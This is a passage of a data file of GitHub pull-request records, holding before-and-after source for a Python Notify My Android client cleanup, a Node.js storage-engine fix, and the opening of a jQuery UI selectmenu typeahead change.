contenttype=text/html\n\nWarning: using batch_mode will return error only if all API keys are bad\n cf: https://www.notifymyandroid.com/api.jsp\n\"\"\"\n        datas = {\n            'application': application[:256].encode('utf8'),\n            'event':       event[:1024].encode('utf8'),\n            'description': description[:10000].encode('utf8'),\n            'priority':    priority\n        }\n\n        if url:\n            datas['url'] = url[:512]\n\n        if contenttype == \"text/html\" or html == True: # Currently only accepted content type\n            datas['content-type'] = \"text/html\"\n\n        if self._developerkey:\n            datas['developerkey'] = self._developerkey\n\n        results = {}\n\n        if not batch_mode:\n            for key in self._apikey:\n                datas['apikey'] = key\n                res = self.callapi('POST', ADD_PATH, datas)\n                results[key] = res\n        else:\n            datas['apikey'] = \",\".join(self._apikey)\n            res = self.callapi('POST', ADD_PATH, datas)\n            results[datas['apikey']] = res\n        return results\n        \n    def callapi(self, method, path, args):\n        headers = { 'User-Agent': USER_AGENT }\n        if method == \"POST\":\n            headers['Content-type'] = \"application/x-www-form-urlencoded\"\n        http_handler = HTTPSConnection(API_SERVER)\n        http_handler.request(method, path, urlencode(args), headers)\n        resp = http_handler.getresponse()\n\n        try:\n            res = self._parse_reponse(resp.read())\n        except Exception as e:\n            res = {'type':    \"pynmaerror\",\n                   'code':    600,\n                   'message': str(e)\n                   }\n            pass\n        \n        return res\n\n    def _parse_reponse(self, response):\n        root = parseString(response).firstChild\n        for elem in root.childNodes:\n            if elem.nodeType == elem.TEXT_NODE: continue\n            if elem.tagName == 'success':\n                res = dict(list(elem.attributes.items()))\n                res['message'] = \"\"\n                res['type']    = elem.tagName\n                return res\n            if elem.tagName == 'error':\n                res = dict(list(elem.attributes.items()))\n                res['message'] = elem.firstChild.nodeValue\n                res['type']    = elem.tagName\n                return res\n                                        \n    \n", "setup.py": "#!/usr/bin/env python\nfrom setuptools import setup, find_packages\n\nsetup(\n    name='pyrowl',\n    version='0.1',\n    packages=find_packages()\n)\n\n", "test.py": "#!/usr/bin/python\n\nfrom pynma import PyNMA\nfrom pprint import pprint\nimport os\n\np = None\n\ndef main(keys):\n    global p\n    pkey = None\n    \n    p = PyNMA()\n    if os.path.isfile(\"mydeveloperkey\"):\n        dkey = open(\"mydeveloperkey\",'r').readline().strip()\n        p.developerkey(dkey)\n\n    p.addkey(keys)\n    res = p.push(\"test app\", 'test event', 'test msg <a href=\"http://www.google.com/\">google</a>', 'http://example.com', batch_mode=False, html=True)\n    pprint(res)\n    \nif __name__ == \"__main__\":\n    if os.path.isfile('myapikey'):\n        keys = [_f for _f in open(\"myapikey\",'r').read().split(\"\\n\") if _f]\n        \n        main(keys)\n    else:\n        print(\"need a file named myapikey containing one apikey per line\")\n"}, "files_after": {"pynma/__init__.py": "#!/usr/bin/python\n\nfrom .pynma import PyNMA\n", "pynma/pynma.py": "#!/usr/bin/python\n\nfrom xml.dom.minidom import parseString\n\ntry:\n        from http.client import HTTPSConnection\nexcept ImportError:\n        from httplib import HTTPSConnection\n\ntry:\n        from urllib.parse import urlencode\nexcept ImportError:\n        from urllib import urlencode\n\n__version__ = \"0.1\"\n\nAPI_SERVER = 'www.notifymyandroid.com'\nADD_PATH = '/publicapi/notify'\n\nUSER_AGENT = \"PyNMA/v%s\" % __version__\n\n\ndef uniq_preserve(seq):  # Dave Kirby\n    # Order preserving\n    seen = set()\n    return [x for x in seq if x not in seen and not seen.add(x)]\n\n\ndef uniq(seq):\n    # Not order preserving\n    return list({}.fromkeys(seq).keys())\n\n\nclass PyNMA(object):\n    \"\"\"PyNMA(apikey=[], developerkey=None)\ntakes 2 optional arguments:\n - (opt) apykey:      might me a string containing 1 key or an array of keys\n - (opt) developerkey: where you can store your developer key\n\"\"\"\n\n    def __init__(self, apikey=[], developerkey=None):\n        self._developerkey = None\n        self.developerkey(developerkey)\n        if apikey:\n            if type(apikey) == str:\n                apikey = [apikey]\n        self._apikey = uniq(apikey)\n\n    def addkey(self, key):\n        \"Add a key (register ?)\"\n        if type(key) == str:\n            if key not in self._apikey:\n                self._apikey.append(key)\n        elif type(key) == list:\n            for k in key:\n                if k not in self._apikey:\n                    self._apikey.append(k)\n\n    def delkey(self, key):\n        \"Removes a key (unregister ?)\"\n        if type(key) == str:\n            if key in self._apikey:\n                self._apikey.remove(key)\n        elif type(key) == list:\n            for k in key:\n                if key in self._apikey:\n                    self._apikey.remove(k)\n\n    def developerkey(self, developerkey):\n        \"Sets the developer key (and check it has the good length)\"\n        if type(developerkey) == str and len(developerkey) == 48:\n            self._developerkey = developerkey\n\n    def push(self, application=\"\", event=\"\", description=\"\", url=\"\",\n             contenttype=None, priority=0, batch_mode=False, html=False):\n        \"\"\"Pushes a message on the registered API keys.\ntakes 5 arguments:\n - (req) application: application name [256]\n - (req) event:       event name       [1000]\n - (req) description: description      [10000]\n - (opt) url:         url              [512]\n - (opt) contenttype: Content Type (act: None (plain text) or text/html)\n - (opt) priority:    from -2 (lowest) to 2 (highest) (def:0)\n - (opt) batch_mode:  push to all keys at once (def:False)\n\n - (opt) html:        shortcut for contenttype=text/html\n\n - (opt) html:        shortcut for contenttype=text/html\n\nWarning: using batch_mode will return error only if all API keys are bad\n cf: https://www.notifymyandroid.com/api.jsp\n\"\"\"\n        datas = {\n            'application': application[:256].encode('utf8'),\n            'event':       event[:1024].encode('utf8'),\n            'description': description[:10000].encode('utf8'),\n            'priority':    priority\n        }\n\n        if url:\n            datas['url'] = url[:512]\n\n        # Currently only accepted content type\n        if contenttype == \"text/html\" or html is True:\n            datas['content-type'] = \"text/html\"\n\n        if self._developerkey:\n            datas['developerkey'] = self._developerkey\n\n        results = {}\n\n        if not batch_mode:\n            for key in self._apikey:\n                datas['apikey'] = key\n                res = self.callapi('POST', ADD_PATH, datas)\n                results[key] = res\n        else:\n            datas['apikey'] = \",\".join(self._apikey)\n            res = self.callapi('POST', ADD_PATH, datas)\n            results[datas['apikey']] = res\n        return results\n\n    def callapi(self, method, path, args):\n        headers = {'User-Agent': USER_AGENT}\n        if method == \"POST\":\n            headers['Content-type'] = \"application/x-www-form-urlencoded\"\n        http_handler = HTTPSConnection(API_SERVER)\n        http_handler.request(method, path, urlencode(args), headers)\n        resp = http_handler.getresponse()\n\n        try:\n            res = self._parse_reponse(resp.read())\n        except Exception as e:\n            res = {'type':    \"pynmaerror\",\n                   'code':    600,\n                   'message': str(e)\n                   }\n            pass\n\n        return res\n\n    def _parse_reponse(self, response):\n        root = parseString(response).firstChild\n        for elem in root.childNodes:\n            if elem.nodeType == elem.TEXT_NODE:\n                continue\n            if elem.tagName == 'success':\n                res = dict(list(elem.attributes.items()))\n                res['message'] = \"\"\n                res['type'] = elem.tagName\n                return res\n            if elem.tagName == 'error':\n                res = dict(list(elem.attributes.items()))\n                res['message'] = elem.firstChild.nodeValue\n                res['type'] = elem.tagName\n                return res\n", "setup.py": "#!/usr/bin/env python\nfrom setuptools import setup, find_packages\n\nsetup(\n    name='pyrowl',\n    version='0.1',\n    packages=find_packages()\n)\n", "test.py": "#!/usr/bin/python\n\nfrom pynma import PyNMA\nfrom pprint import pprint\nimport os\n\np = None\n\n\ndef main(keys):\n    global p\n\n    p = PyNMA()\n    if os.path.isfile(\"mydeveloperkey\"):\n        dkey = open(\"mydeveloperkey\", 'r').readline().strip()\n        p.developerkey(dkey)\n\n    p.addkey(keys)\n    res = p.push(\"test app\", 'test event',\n                 'test msg <a href=\"http://www.google.com/\">google</a>',\n                 'http://example.com', batch_mode=False, html=True)\n    pprint(res)\n\nif __name__ == \"__main__\":\n    if os.path.isfile('myapikey'):\n        keys = [_f for _f in open(\"myapikey\", 'r').read().split(\"\\n\") if _f]\n\n        main(keys)\n    else:\n        print(\"need a file named myapikey containing one apikey per line\")\n"}}
{"repo": "marcuswestin/fin", "pr_number": 1, "title": "Hi! I fixed some code for you!", "state": "closed", "merged_at": "2012-07-09T02:14:48Z", "additions": 1, "deletions": 1, "files_changed": ["engines/development/storage.js"], "files_before": {"engines/development/storage.js": "var fs = require('fs'),\n\tpath = require('path')\n\nvar data = {},\n\tdataDumpFile = './_development-engine-dump.json'\n\nif (path.existsSync(dataDumpFile)) {\n\tconsole.log('node engine found ' + dataDumpFile + ' - loading data...')\n\tdata = JSON.parse(fs.readFileSync(dataDumpFile))\n\tconsole.log('done loading data')\n}\n\nprocess.on('exit', function() {\n\tconsole.log('node storage engine detected shutdown')\n\tdumpData()\n})\n\nfunction dumpData() {\n\tconsole.log('dumping data...')\n\tfs.writeFileSync(dataDumpFile, JSON.stringify(data))\n\tconsole.log('done dumping data.')\n}\n\nsetInterval(dumpData, 60000)\n\nfunction typeError(operation, type, key) {\n\treturn '\"'+operation+'\" expected a '+type+' at key \"'+key+'\" but found a '+typeof data[key]\n}\n\nvar storeAPI = module.exports = {\n\t/* Getters\n\t *********/\n\tgetBytes: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, null)\n\t\t} else if (typeof data[key] == 'string' || typeof data[key] == 'number' || typeof data[key] == 'boolean') {\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('getBytes', 'string or number', key))\n\t\t}\n\t},\n\t\n\tgetListItems: function(key, from, to, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, [])\n\t\t} else if (!(data[key] instanceof Array)) {\n\t\t\tcallback && callback(typeError('getListItems', 'list', key))\n\t\t} else {\n\t\t\tif (to < 0) { to = data[key].length + to + 1 }\n\t\t\tfrom = Math.max(from, 0)\n\t\t\tto = Math.min(to, data[key].length)\n\t\t\tcallback && callback(null, data[key].slice(from, to - from))\n\t\t}\n\t},\n\t\n\tgetMembers: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, [])\n\t\t} else if (typeof data[key] != 'object') {\n\t\t\tcallback && callback(typeError('getMembers', 'set', key))\n\t\t} else {\n\t\t\tvar response = []\n\t\t\tfor (var value in data[key]) { response.push(JSON.parse(value)) }\n\t\t\tcallback && callback(null, response)\n\t\t}\n\t},\n\t\n\t/* Mutation handlers\n\t *******************/\n\thandleMutation: function(operation, key, args, callback) {\n\t\tvar operationArgs = [key].concat(args)\n\t\tif (callback) { operationArgs.push(callback) }\n\t\tstoreAPI[operation].apply(this, operationArgs)\n\t},\n\t\n\ttransact: function(transactionFn) {\n\t\t// the development engine acts atomically. We assume node won't halt during an operation\n\t\ttransactionFn()\n\t},\n\t\n\tset: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined' || typeof data[key] == 'string' || typeof data[key] == 'number' || typeof data[key] == 'boolean') {\n\t\t\tdata[key] = value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('set', 'string or number', key), null)\n\t\t}\n\t},\n\t\n\tpush: function(key, values, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = [].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else if (data[key] instanceof Array) {\n\t\t\tdata[key] = data[key].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else {\n\t\t\tcallback && callback(typeError('push', 'list', key), null)\n\t\t}\n\t},\n\t\n\tunshift: function(key, values, callback) {\n\t\tvar values = Array.prototype.slice.call(arguments, 1)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = [].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else if (data[key] instanceof Array) {\n\t\t\tdata[key] = values.concat(data[key])\n\t\t\tcallback && callback(null, null)\n\t\t} else {\n\t\t\tcallback && callback(typeError('push', 'list', key), null)\n\t\t}\n\t},\n\t\n\tincrement: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] += 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('increment', 'number', key), null)\n\t\t}\n\t},\n\t\n\tdecrement: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = -1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] -= 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('decrement', 'number', key), null)\n\t\t}\n\t},\n\t\n\tadd: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] += value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('add', 'number', key), null)\n\t\t}\n\t},\n\t\n\tsubtract: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = -value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] -= value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('subtract', 'number', key), null)\n\t\t}\n\t},\n\t\n\tsadd: function(key, value, callback) {\n\t\tvalue = JSON.stringify(value)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = {}\n\t\t\tdata[key][value] = true\n\t\t\tcallback && callback(null, 1)\n\t\t} else if (typeof data[key] == 'object') {\n\t\t\tvar response = data[key][value] ? 0 : 1\n\t\t\tdata[key][value] = true\n\t\t\tcallback && callback(null, response)\n\t\t} else {\n\t\t\tcallback && callback(typeError('sadd', 'set', key), null)\n\t\t}\n\t},\n\t\n\tsrem: function(key, value, callback) {\n\t\tvalue = JSON.stringify(value)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, 0)\n\t\t} else if (typeof data[key] == 'object') {\n\t\t\tvar response = data[key][value] ? 1 : 0\n\t\t\tdelete data[key][value]\n\t\t\tcallback && callback(null, response)\n\t\t} else {\n\t\t\tcallback && callback(typeError('srem', 'set', key), null)\n\t\t}\n\t}\n}\n"}, "files_after": {"engines/development/storage.js": "var fs = require('fs'),\n\tpath = require('path')\n\nvar data = {},\n\tdataDumpFile = './_development-engine-dump.json'\n\nif (fs.existsSync(dataDumpFile)) {\n\tconsole.log('node engine found ' + dataDumpFile + ' - loading data...')\n\tdata = JSON.parse(fs.readFileSync(dataDumpFile))\n\tconsole.log('done loading data')\n}\n\nprocess.on('exit', function() {\n\tconsole.log('node storage engine detected shutdown')\n\tdumpData()\n})\n\nfunction dumpData() {\n\tconsole.log('dumping data...')\n\tfs.writeFileSync(dataDumpFile, JSON.stringify(data))\n\tconsole.log('done dumping data.')\n}\n\nsetInterval(dumpData, 60000)\n\nfunction typeError(operation, type, key) {\n\treturn '\"'+operation+'\" expected a '+type+' at key \"'+key+'\" but found a '+typeof data[key]\n}\n\nvar storeAPI = module.exports = {\n\t/* Getters\n\t *********/\n\tgetBytes: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, null)\n\t\t} else if (typeof data[key] == 'string' || typeof data[key] == 'number' || typeof data[key] == 'boolean') {\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('getBytes', 'string or number', key))\n\t\t}\n\t},\n\t\n\tgetListItems: function(key, from, to, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, [])\n\t\t} else if (!(data[key] instanceof Array)) {\n\t\t\tcallback && callback(typeError('getListItems', 'list', key))\n\t\t} else {\n\t\t\tif (to < 0) { to = data[key].length + to + 1 }\n\t\t\tfrom = Math.max(from, 0)\n\t\t\tto = Math.min(to, data[key].length)\n\t\t\tcallback && callback(null, data[key].slice(from, to - from))\n\t\t}\n\t},\n\t\n\tgetMembers: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, [])\n\t\t} else if (typeof data[key] != 'object') {\n\t\t\tcallback && callback(typeError('getMembers', 'set', key))\n\t\t} else {\n\t\t\tvar response = []\n\t\t\tfor (var value in data[key]) { response.push(JSON.parse(value)) }\n\t\t\tcallback && callback(null, response)\n\t\t}\n\t},\n\t\n\t/* Mutation handlers\n\t *******************/\n\thandleMutation: function(operation, key, args, callback) {\n\t\tvar operationArgs = [key].concat(args)\n\t\tif (callback) { operationArgs.push(callback) }\n\t\tstoreAPI[operation].apply(this, operationArgs)\n\t},\n\t\n\ttransact: function(transactionFn) {\n\t\t// the development engine acts atomically. We assume node won't halt during an operation\n\t\ttransactionFn()\n\t},\n\t\n\tset: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined' || typeof data[key] == 'string' || typeof data[key] == 'number' || typeof data[key] == 'boolean') {\n\t\t\tdata[key] = value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('set', 'string or number', key), null)\n\t\t}\n\t},\n\t\n\tpush: function(key, values, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = [].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else if (data[key] instanceof Array) {\n\t\t\tdata[key] = data[key].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else {\n\t\t\tcallback && callback(typeError('push', 'list', key), null)\n\t\t}\n\t},\n\t\n\tunshift: function(key, values, callback) {\n\t\tvar values = Array.prototype.slice.call(arguments, 1)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = [].concat(values)\n\t\t\tcallback && callback(null, null)\n\t\t} else if (data[key] instanceof Array) {\n\t\t\tdata[key] = values.concat(data[key])\n\t\t\tcallback && callback(null, null)\n\t\t} else {\n\t\t\tcallback && callback(typeError('push', 'list', key), null)\n\t\t}\n\t},\n\t\n\tincrement: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] += 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('increment', 'number', key), null)\n\t\t}\n\t},\n\t\n\tdecrement: function(key, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = -1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] -= 1\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('decrement', 'number', key), null)\n\t\t}\n\t},\n\t\n\tadd: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] += value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('add', 'number', key), null)\n\t\t}\n\t},\n\t\n\tsubtract: function(key, value, callback) {\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = -value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else if (typeof data[key] == 'number') {\n\t\t\tdata[key] -= value\n\t\t\tcallback && callback(null, data[key])\n\t\t} else {\n\t\t\tcallback && callback(typeError('subtract', 'number', key), null)\n\t\t}\n\t},\n\t\n\tsadd: function(key, value, callback) {\n\t\tvalue = JSON.stringify(value)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tdata[key] = {}\n\t\t\tdata[key][value] = true\n\t\t\tcallback && callback(null, 1)\n\t\t} else if (typeof data[key] == 'object') {\n\t\t\tvar response = data[key][value] ? 0 : 1\n\t\t\tdata[key][value] = true\n\t\t\tcallback && callback(null, response)\n\t\t} else {\n\t\t\tcallback && callback(typeError('sadd', 'set', key), null)\n\t\t}\n\t},\n\t\n\tsrem: function(key, value, callback) {\n\t\tvalue = JSON.stringify(value)\n\t\tif (typeof data[key] == 'undefined') {\n\t\t\tcallback && callback(null, 0)\n\t\t} else if (typeof data[key] == 'object') {\n\t\t\tvar response = data[key][value] ? 1 : 0\n\t\t\tdelete data[key][value]\n\t\t\tcallback && callback(null, response)\n\t\t} else {\n\t\t\tcallback && callback(typeError('srem', 'set', key), null)\n\t\t}\n\t}\n}\n"}}
{"repo": "tauren/jquery-ui", "pr_number": 1, "title": "Fix sequential type ahead should through the list if not match is found for two same consecutive letters", "state": "closed", "merged_at": null, "additions": 743, "deletions": 140, "files_changed": ["demos/selectmenu/overlay.html", "demos/selectmenu/refresh.html", "demos/selectmenu/typeahead.html", "tests/unit/selectmenu/normalselect.html", "tests/unit/selectmenu/selectmenu.html", "tests/unit/selectmenu/selectmenu_typeahead_sequential.js", "ui/jquery.ui.selectmenu.js"], "files_before": {"ui/jquery.ui.selectmenu.js": " /*\n * jQuery UI selectmenu dev version\n *\n * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)\n * Dual licensed under the MIT (MIT-LICENSE.txt)\n * and GPL (GPL-LICENSE.txt) licenses.\n *\n * http://docs.jquery.com/UI\n * https://github.com/fnagel/jquery-ui/wiki/Selectmenu\n */\n\n(function($) {\n\n$.widget(\"ui.selectmenu\", {\n\tgetter: \"value\",\n\tversion: \"1.8\",\n\teventPrefix: \"selectmenu\",\n\toptions: {\n\t\ttransferClasses: true,\n\t\ttypeAhead: \"sequential\",\n\t\tstyle: 'dropdown',\n\t\tpositionOptions: {\n\t\t\tmy: \"left top\",\n\t\t\tat: \"left bottom\",\n\t\t\toffset: null\n\t\t},\n\t\twidth: null,\n\t\tmenuWidth: null,\n\t\thandleWidth: 26,\n\t\tmaxHeight: null,\n\t\ticons: null,\n\t\tformat: null,\n\t\tbgImage: function() {},\n\t\twrapperElement: \"\"\n\t},\n\n\t_create: function() {\n\t\tvar self = this, o = this.options;\n\n\t\t// set a default id value, generate a new random one if not set by developer\n\t\tvar selectmenuId = this.element.attr('id') || 'ui-selectmenu-' + Math.random().toString(16).slice(2, 10);\n\n\t\t// quick array of button and menu id's\n\t\tthis.ids = [ selectmenuId + '-button', selectmenuId + '-menu' ];\n\n\t\t// define safe mouseup for future toggling\n\t\tthis._safemouseup = true;\n\n\t\t// create menu button wrapper\n\t\tthis.newelement = $('<a class=\"' + this.widgetBaseClass + ' ui-widget ui-state-default ui-corner-all\" id=\"' + this.ids[0] + '\" role=\"button\" href=\"#\" tabindex=\"0\" aria-haspopup=\"true\" aria-owns=\"' + this.ids[1] + '\"></a>')\n\t\t\t.insertAfter(this.element);\n\t\tthis.newelement.wrap(o.wrapperElement);\n\n\t\t// transfer tabindex\n\t\tvar tabindex = this.element.attr('tabindex');\n\t\tif (tabindex) {\n\t\t\tthis.newelement.attr('tabindex', tabindex);\n\t\t}\n\n\t\t// save reference to select in data for ease in calling methods\n\t\tthis.newelement.data('selectelement', this.element);\n\n\t\t// menu icon\n\t\tthis.selectmenuIcon = $('<span class=\"' + this.widgetBaseClass + '-icon ui-icon\"></span>')\n\t\t\t.prependTo(this.newelement);\n\n\t\t// append status span to button\n\t\tthis.newelement.prepend('<span class=\"' + self.widgetBaseClass + '-status\" />');\n\n\t\t// make associated form label trigger focus\n\t\t$( 'label[for=\"' + selectmenuId + '\"]' )\n\t\t\t.attr( 'for', this.ids[0] )\n\t\t\t.bind( 'click.selectmenu', function() {\n\t\t\t\tself.newelement[0].focus();\n\t\t\t\treturn false;\n\t\t\t});\n\n\t\t// click toggle for menu visibility\n\t\tthis.newelement\n\t\t\t.bind('mousedown.selectmenu', function(event) {\n\t\t\t\tself._toggle(event, true);\n\t\t\t\t// make sure a click won't open/close instantly\n\t\t\t\tif (o.style == \"popup\") {\n\t\t\t\t\tself._safemouseup = false;\n\t\t\t\t\tsetTimeout(function() { self._safemouseup = true; }, 300);\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t})\n\t\t\t.bind('click.selectmenu', function() {\n\t\t\t\treturn false;\n\t\t\t})\n\t\t\t.bind(\"keydown.selectmenu\", function(event) {\n\t\t\t\tvar ret = false;\n\t\t\t\tswitch (event.keyCode) {\n\t\t\t\t\tcase $.ui.keyCode.ENTER:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.SPACE:\n\t\t\t\t\t\tself._toggle(event);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.open(event);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveSelection(-1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.open(event);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveSelection(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\t\tself._moveSelection(-1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\t\t\tself._moveSelection(1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.TAB:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tret = true;\n\t\t\t\t}\n\t\t\t\treturn ret;\n\t\t\t})\n\t\t\t.bind('keypress.selectmenu', function(event) {\n\t\t\t\tself._typeAhead(event.which, 'mouseup');\n\t\t\t\treturn true;\n\t\t\t})\n\t\t\t.bind('mouseover.selectmenu focus.selectmenu', function() {\n\t\t\t\tif (!o.disabled) {\n\t\t\t\t\t$(this).addClass(self.widgetBaseClass + '-focus ui-state-hover');\n\t\t\t\t}\n\t\t\t})\n\t\t\t.bind('mouseout.selectmenu blur.selectmenu', function() {\n\t\t\t\tif (!o.disabled) {\n\t\t\t\t\t$(this).removeClass(self.widgetBaseClass + '-focus ui-state-hover');\n\t\t\t\t}\n\t\t\t});\n\n\t\t// document click closes menu\n\t\t$(document).bind(\"mousedown.selectmenu\", function(event) {\n\t\t\tself.close(event);\n\t\t});\n\n\t\t// change event on original selectmenu\n\t\tthis.element\n\t\t\t.bind(\"click.selectmenu\", function() {\n\t\t\t\tself._refreshValue();\n\t\t\t})\n\t\t\t// FIXME: newelement can be null under unclear circumstances in IE8\n\t\t\t// TODO not sure if this is still a problem (fnagel 20.03.11)\n\t\t\t.bind(\"focus.selectmenu\", function() {\n\t\t\t\tif (self.newelement) {\n\t\t\t\t\tself.newelement[0].focus();\n\t\t\t\t}\n\t\t\t});\n\n\t\t// set width when not set via options\n\t\tif (!o.width) {\n\t\t\to.width = this.element.outerWidth();\n\t\t}\n\t\t// set menu button width\n\t\tthis.newelement.width(o.width);\n\n\t\t// hide original selectmenu element\n\t\tthis.element.hide();\n\n\t\t// create menu portion, append to body\n\t\tthis.list = $('<ul class=\"' + self.widgetBaseClass + '-menu ui-widget ui-widget-content\" aria-hidden=\"true\" role=\"listbox\" aria-labelledby=\"' + this.ids[0] + '\" id=\"' + this.ids[1] + '\"></ul>').appendTo('body');\n\t\tthis.list.wrap(o.wrapperElement);\n\n\t\t// transfer menu click to menu button\n\t\tthis.list\n\t\t\t.bind(\"keydown.selectmenu\", function(event) {\n\t\t\t\tvar ret = false;\n\t\t\t\tswitch (event.keyCode) {\n\t\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveFocus(-1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveFocus(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\t\tself._moveFocus(-1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\t\t\tself._moveFocus(1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.HOME:\n\t\t\t\t\t\tself._moveFocus(':first');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.PAGE_UP:\n\t\t\t\t\t\tself._scrollPage('up');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.PAGE_DOWN:\n\t\t\t\t\t\tself._scrollPage('down');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.END:\n\t\t\t\t\t\tself._moveFocus(':last');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.ENTER:\n\t\t\t\t\tcase $.ui.keyCode.SPACE:\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t$(event.target).parents('li:eq(0)').trigger('mouseup');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.TAB:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t$(event.target).parents('li:eq(0)').trigger('mouseup');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.ESCAPE:\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tret = true;\n\t\t\t\t}\n\t\t\t\treturn ret;\n\t\t\t})\n\t\t\t.bind('keypress.selectmenu', 